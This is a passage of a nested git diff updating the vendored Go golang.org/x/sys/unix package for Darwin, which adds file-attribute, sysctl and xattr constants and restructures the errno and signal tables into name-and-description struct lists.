-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EPWROFF", "device power is off"},
-+ {83, "EDEVERR", "device error"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EBADEXEC", "bad executable (or shared library)"},
-+ {86, "EBADARCH", "bad CPU type in executable"},
-+ {87, "ESHLIBVERS", "shared library version mismatch"},
-+ {88, "EBADMACHO", "malformed Mach-o file"},
-+ {89, "ECANCELED", "operation canceled"},
-+ {90, "EIDRM", "identifier removed"},
-+ {91, "ENOMSG", "no message of desired type"},
-+ {92, "EILSEQ", "illegal byte sequence"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EBADMSG", "bad message"},
-+ {95, "EMULTIHOP", "EMULTIHOP (Reserved)"},
-+ {96, "ENODATA", "no message available on STREAM"},
-+ {97, "ENOLINK", "ENOLINK (Reserved)"},
-+ {98, "ENOSR", "no STREAM resources"},
-+ {99, "ENOSTR", "not a STREAM"},
-+ {100, "EPROTO", "protocol error"},
-+ {101, "ETIME", "STREAM ioctl timeout"},
-+ {102, "EOPNOTSUPP", "operation not supported on socket"},
-+ {103, "ENOPOLICY", "policy not found"},
-+ {104, "ENOTRECOVERABLE", "state not recoverable"},
-+ {105, "EOWNERDEAD", "previous owner died"},
-+ {106, "EQFULL", "interface output queue is full"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_darwin_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_darwin_amd64.go
-index 48f63d4f..e3ff2ee3 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_darwin_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,darwin
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -49,6 +49,86 @@ const (
- AF_UNSPEC = 0x0
- AF_UTUN = 0x26
- ALTWERASE = 0x200
-+ ATTR_BIT_MAP_COUNT = 0x5
-+ ATTR_CMN_ACCESSMASK = 0x20000
-+ ATTR_CMN_ACCTIME = 0x1000
-+ ATTR_CMN_ADDEDTIME = 0x10000000
-+ ATTR_CMN_BKUPTIME = 0x2000
-+ ATTR_CMN_CHGTIME = 0x800
-+ ATTR_CMN_CRTIME = 0x200
-+ ATTR_CMN_DATA_PROTECT_FLAGS = 0x40000000
-+ ATTR_CMN_DEVID = 0x2
-+ ATTR_CMN_DOCUMENT_ID = 0x100000
-+ ATTR_CMN_ERROR = 0x20000000
-+ ATTR_CMN_EXTENDED_SECURITY = 0x400000
-+ ATTR_CMN_FILEID = 0x2000000
-+ ATTR_CMN_FLAGS = 0x40000
-+ ATTR_CMN_FNDRINFO = 0x4000
-+ ATTR_CMN_FSID = 0x4
-+ ATTR_CMN_FULLPATH = 0x8000000
-+ ATTR_CMN_GEN_COUNT = 0x80000
-+ ATTR_CMN_GRPID = 0x10000
-+ ATTR_CMN_GRPUUID = 0x1000000
-+ ATTR_CMN_MODTIME = 0x400
-+ ATTR_CMN_NAME = 0x1
-+ ATTR_CMN_NAMEDATTRCOUNT = 0x80000
-+ ATTR_CMN_NAMEDATTRLIST = 0x100000
-+ ATTR_CMN_OBJID = 0x20
-+ ATTR_CMN_OBJPERMANENTID = 0x40
-+ ATTR_CMN_OBJTAG = 0x10
-+ ATTR_CMN_OBJTYPE = 0x8
-+ ATTR_CMN_OWNERID = 0x8000
-+ ATTR_CMN_PARENTID = 0x4000000
-+ ATTR_CMN_PAROBJID = 0x80
-+ ATTR_CMN_RETURNED_ATTRS = 0x80000000
-+ ATTR_CMN_SCRIPT = 0x100
-+ ATTR_CMN_SETMASK = 0x41c7ff00
-+ ATTR_CMN_USERACCESS = 0x200000
-+ ATTR_CMN_UUID = 0x800000
-+ ATTR_CMN_VALIDMASK = 0xffffffff
-+ ATTR_CMN_VOLSETMASK = 0x6700
-+ ATTR_FILE_ALLOCSIZE = 0x4
-+ ATTR_FILE_CLUMPSIZE = 0x10
-+ ATTR_FILE_DATAALLOCSIZE = 0x400
-+ ATTR_FILE_DATAEXTENTS = 0x800
-+ ATTR_FILE_DATALENGTH = 0x200
-+ ATTR_FILE_DEVTYPE = 0x20
-+ ATTR_FILE_FILETYPE = 0x40
-+ ATTR_FILE_FORKCOUNT = 0x80
-+ ATTR_FILE_FORKLIST = 0x100
-+ ATTR_FILE_IOBLOCKSIZE = 0x8
-+ ATTR_FILE_LINKCOUNT = 0x1
-+ ATTR_FILE_RSRCALLOCSIZE = 0x2000
-+ ATTR_FILE_RSRCEXTENTS = 0x4000
-+ ATTR_FILE_RSRCLENGTH = 0x1000
-+ ATTR_FILE_SETMASK = 0x20
-+ ATTR_FILE_TOTALSIZE = 0x2
-+ ATTR_FILE_VALIDMASK = 0x37ff
-+ ATTR_VOL_ALLOCATIONCLUMP = 0x40
-+ ATTR_VOL_ATTRIBUTES = 0x40000000
-+ ATTR_VOL_CAPABILITIES = 0x20000
-+ ATTR_VOL_DIRCOUNT = 0x400
-+ ATTR_VOL_ENCODINGSUSED = 0x10000
-+ ATTR_VOL_FILECOUNT = 0x200
-+ ATTR_VOL_FSTYPE = 0x1
-+ ATTR_VOL_INFO = 0x80000000
-+ ATTR_VOL_IOBLOCKSIZE = 0x80
-+ ATTR_VOL_MAXOBJCOUNT = 0x800
-+ ATTR_VOL_MINALLOCATION = 0x20
-+ ATTR_VOL_MOUNTEDDEVICE = 0x8000
-+ ATTR_VOL_MOUNTFLAGS = 0x4000
-+ ATTR_VOL_MOUNTPOINT = 0x1000
-+ ATTR_VOL_NAME = 0x2000
-+ ATTR_VOL_OBJCOUNT = 0x100
-+ ATTR_VOL_QUOTA_SIZE = 0x10000000
-+ ATTR_VOL_RESERVED_SIZE = 0x20000000
-+ ATTR_VOL_SETMASK = 0x80002000
-+ ATTR_VOL_SIGNATURE = 0x2
-+ ATTR_VOL_SIZE = 0x4
-+ ATTR_VOL_SPACEAVAIL = 0x10
-+ ATTR_VOL_SPACEFREE = 0x8
-+ ATTR_VOL_UUID = 0x40000
-+ ATTR_VOL_VALIDMASK = 0xf007ffff
- B0 = 0x0
- B110 = 0x6e
- B115200 = 0x1c200
-@@ -169,6 +249,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -390,6 +472,11 @@ const (
- FF1 = 0x4000
- FFDLY = 0x4000
- FLUSHO = 0x800000
-+ FSOPT_ATTR_CMN_EXTENDED = 0x20
-+ FSOPT_NOFOLLOW = 0x1
-+ FSOPT_NOINMEMUPDATE = 0x2
-+ FSOPT_PACK_INVAL_ATTRS = 0x8
-+ FSOPT_REPORT_FULLSIZE = 0x4
- F_ADDFILESIGS = 0x3d
- F_ADDFILESIGS_FOR_DYLD_SIM = 0x53
- F_ADDFILESIGS_RETURN = 0x61
-@@ -425,6 +512,7 @@ const (
- F_PATHPKG_CHECK = 0x34
- F_PEOFPOSMODE = 0x3
- F_PREALLOCATE = 0x2a
-+ F_PUNCHHOLE = 0x63
- F_RDADVISE = 0x2c
- F_RDAHEAD = 0x2d
- F_RDLCK = 0x1
-@@ -441,10 +529,12 @@ const (
- F_SINGLE_WRITER = 0x4c
- F_THAW_FS = 0x36
- F_TRANSCODEKEY = 0x4b
-+ F_TRIM_ACTIVE_FILE = 0x64
- F_UNLCK = 0x2
- F_VOLPOSMODE = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -681,6 +771,7 @@ const (
- IPV6_FAITH = 0x1d
- IPV6_FLOWINFO_MASK = 0xffffff0f
- IPV6_FLOWLABEL_MASK = 0xffff0f00
-+ IPV6_FLOW_ECN_MASK = 0x300
- IPV6_FRAGTTL = 0x3c
- IPV6_FW_ADD = 0x1e
- IPV6_FW_DEL = 0x1f
-@@ -771,6 +862,7 @@ const (
- IP_RECVOPTS = 0x5
- IP_RECVPKTINFO = 0x1a
- IP_RECVRETOPTS = 0x6
-+ IP_RECVTOS = 0x1b
- IP_RECVTTL = 0x18
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
-@@ -789,6 +881,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -884,6 +980,7 @@ const (
- NET_RT_MAXID = 0xa
- NET_RT_STAT = 0x4
- NET_RT_TRASH = 0x5
-+ NFDBITS = 0x20
- NL0 = 0x0
- NL1 = 0x100
- NL2 = 0x200
-@@ -1377,6 +1474,12 @@ const (
- WORDSIZE = 0x40
- WSTOPPED = 0x8
- WUNTRACED = 0x2
-+ XATTR_CREATE = 0x2
-+ XATTR_NODEFAULT = 0x10
-+ XATTR_NOFOLLOW = 0x1
-+ XATTR_NOSECURITY = 0x8
-+ XATTR_REPLACE = 0x4
-+ XATTR_SHOWCOMPRESSION = 0x20
- )
-
- // Errors
-@@ -1528,146 +1631,154 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "resource busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "device power is off",
-- 83: "device error",
-- 84: "value too large to be stored in data type",
-- 85: "bad executable (or shared library)",
-- 86: "bad CPU type in executable",
-- 87: "shared library version mismatch",
-- 88: "malformed Mach-o file",
-- 89: "operation canceled",
-- 90: "identifier removed",
-- 91: "no message of desired type",
-- 92: "illegal byte sequence",
-- 93: "attribute not found",
-- 94: "bad message",
-- 95: "EMULTIHOP (Reserved)",
-- 96: "no message available on STREAM",
-- 97: "ENOLINK (Reserved)",
-- 98: "no STREAM resources",
-- 99: "not a STREAM",
-- 100: "protocol error",
-- 101: "STREAM ioctl timeout",
-- 102: "operation not supported on socket",
-- 103: "policy not found",
-- 104: "state not recoverable",
-- 105: "previous owner died",
-- 106: "interface output queue is full",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EPWROFF", "device power is off"},
-+ {83, "EDEVERR", "device error"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EBADEXEC", "bad executable (or shared library)"},
-+ {86, "EBADARCH", "bad CPU type in executable"},
-+ {87, "ESHLIBVERS", "shared library version mismatch"},
-+ {88, "EBADMACHO", "malformed Mach-o file"},
-+ {89, "ECANCELED", "operation canceled"},
-+ {90, "EIDRM", "identifier removed"},
-+ {91, "ENOMSG", "no message of desired type"},
-+ {92, "EILSEQ", "illegal byte sequence"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EBADMSG", "bad message"},
-+ {95, "EMULTIHOP", "EMULTIHOP (Reserved)"},
-+ {96, "ENODATA", "no message available on STREAM"},
-+ {97, "ENOLINK", "ENOLINK (Reserved)"},
-+ {98, "ENOSR", "no STREAM resources"},
-+ {99, "ENOSTR", "not a STREAM"},
-+ {100, "EPROTO", "protocol error"},
-+ {101, "ETIME", "STREAM ioctl timeout"},
-+ {102, "EOPNOTSUPP", "operation not supported on socket"},
-+ {103, "ENOPOLICY", "policy not found"},
-+ {104, "ENOTRECOVERABLE", "state not recoverable"},
-+ {105, "EOWNERDEAD", "previous owner died"},
-+ {106, "EQFULL", "interface output queue is full"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_darwin_arm.go b/vendor/golang.org/x/sys/unix/zerrors_darwin_arm.go
-index 24cb522d..3e417571 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_darwin_arm.go
-@@ -3,7 +3,7 @@
-
- // +build arm,darwin
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- _const.go
-
- package unix
-@@ -49,6 +49,86 @@ const (
- AF_UNSPEC = 0x0
- AF_UTUN = 0x26
- ALTWERASE = 0x200
-+ ATTR_BIT_MAP_COUNT = 0x5
-+ ATTR_CMN_ACCESSMASK = 0x20000
-+ ATTR_CMN_ACCTIME = 0x1000
-+ ATTR_CMN_ADDEDTIME = 0x10000000
-+ ATTR_CMN_BKUPTIME = 0x2000
-+ ATTR_CMN_CHGTIME = 0x800
-+ ATTR_CMN_CRTIME = 0x200
-+ ATTR_CMN_DATA_PROTECT_FLAGS = 0x40000000
-+ ATTR_CMN_DEVID = 0x2
-+ ATTR_CMN_DOCUMENT_ID = 0x100000
-+ ATTR_CMN_ERROR = 0x20000000
-+ ATTR_CMN_EXTENDED_SECURITY = 0x400000
-+ ATTR_CMN_FILEID = 0x2000000
-+ ATTR_CMN_FLAGS = 0x40000
-+ ATTR_CMN_FNDRINFO = 0x4000
-+ ATTR_CMN_FSID = 0x4
-+ ATTR_CMN_FULLPATH = 0x8000000
-+ ATTR_CMN_GEN_COUNT = 0x80000
-+ ATTR_CMN_GRPID = 0x10000
-+ ATTR_CMN_GRPUUID = 0x1000000
-+ ATTR_CMN_MODTIME = 0x400
-+ ATTR_CMN_NAME = 0x1
-+ ATTR_CMN_NAMEDATTRCOUNT = 0x80000
-+ ATTR_CMN_NAMEDATTRLIST = 0x100000
-+ ATTR_CMN_OBJID = 0x20
-+ ATTR_CMN_OBJPERMANENTID = 0x40
-+ ATTR_CMN_OBJTAG = 0x10
-+ ATTR_CMN_OBJTYPE = 0x8
-+ ATTR_CMN_OWNERID = 0x8000
-+ ATTR_CMN_PARENTID = 0x4000000
-+ ATTR_CMN_PAROBJID = 0x80
-+ ATTR_CMN_RETURNED_ATTRS = 0x80000000
-+ ATTR_CMN_SCRIPT = 0x100
-+ ATTR_CMN_SETMASK = 0x41c7ff00
-+ ATTR_CMN_USERACCESS = 0x200000
-+ ATTR_CMN_UUID = 0x800000
-+ ATTR_CMN_VALIDMASK = 0xffffffff
-+ ATTR_CMN_VOLSETMASK = 0x6700
-+ ATTR_FILE_ALLOCSIZE = 0x4
-+ ATTR_FILE_CLUMPSIZE = 0x10
-+ ATTR_FILE_DATAALLOCSIZE = 0x400
-+ ATTR_FILE_DATAEXTENTS = 0x800
-+ ATTR_FILE_DATALENGTH = 0x200
-+ ATTR_FILE_DEVTYPE = 0x20
-+ ATTR_FILE_FILETYPE = 0x40
-+ ATTR_FILE_FORKCOUNT = 0x80
-+ ATTR_FILE_FORKLIST = 0x100
-+ ATTR_FILE_IOBLOCKSIZE = 0x8
-+ ATTR_FILE_LINKCOUNT = 0x1
-+ ATTR_FILE_RSRCALLOCSIZE = 0x2000
-+ ATTR_FILE_RSRCEXTENTS = 0x4000
-+ ATTR_FILE_RSRCLENGTH = 0x1000
-+ ATTR_FILE_SETMASK = 0x20
-+ ATTR_FILE_TOTALSIZE = 0x2
-+ ATTR_FILE_VALIDMASK = 0x37ff
-+ ATTR_VOL_ALLOCATIONCLUMP = 0x40
-+ ATTR_VOL_ATTRIBUTES = 0x40000000
-+ ATTR_VOL_CAPABILITIES = 0x20000
-+ ATTR_VOL_DIRCOUNT = 0x400
-+ ATTR_VOL_ENCODINGSUSED = 0x10000
-+ ATTR_VOL_FILECOUNT = 0x200
-+ ATTR_VOL_FSTYPE = 0x1
-+ ATTR_VOL_INFO = 0x80000000
-+ ATTR_VOL_IOBLOCKSIZE = 0x80
-+ ATTR_VOL_MAXOBJCOUNT = 0x800
-+ ATTR_VOL_MINALLOCATION = 0x20
-+ ATTR_VOL_MOUNTEDDEVICE = 0x8000
-+ ATTR_VOL_MOUNTFLAGS = 0x4000
-+ ATTR_VOL_MOUNTPOINT = 0x1000
-+ ATTR_VOL_NAME = 0x2000
-+ ATTR_VOL_OBJCOUNT = 0x100
-+ ATTR_VOL_QUOTA_SIZE = 0x10000000
-+ ATTR_VOL_RESERVED_SIZE = 0x20000000
-+ ATTR_VOL_SETMASK = 0x80002000
-+ ATTR_VOL_SIGNATURE = 0x2
-+ ATTR_VOL_SIZE = 0x4
-+ ATTR_VOL_SPACEAVAIL = 0x10
-+ ATTR_VOL_SPACEFREE = 0x8
-+ ATTR_VOL_UUID = 0x40000
-+ ATTR_VOL_VALIDMASK = 0xf007ffff
- B0 = 0x0
- B110 = 0x6e
- B115200 = 0x1c200
-@@ -169,6 +249,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -390,6 +472,11 @@ const (
- FF1 = 0x4000
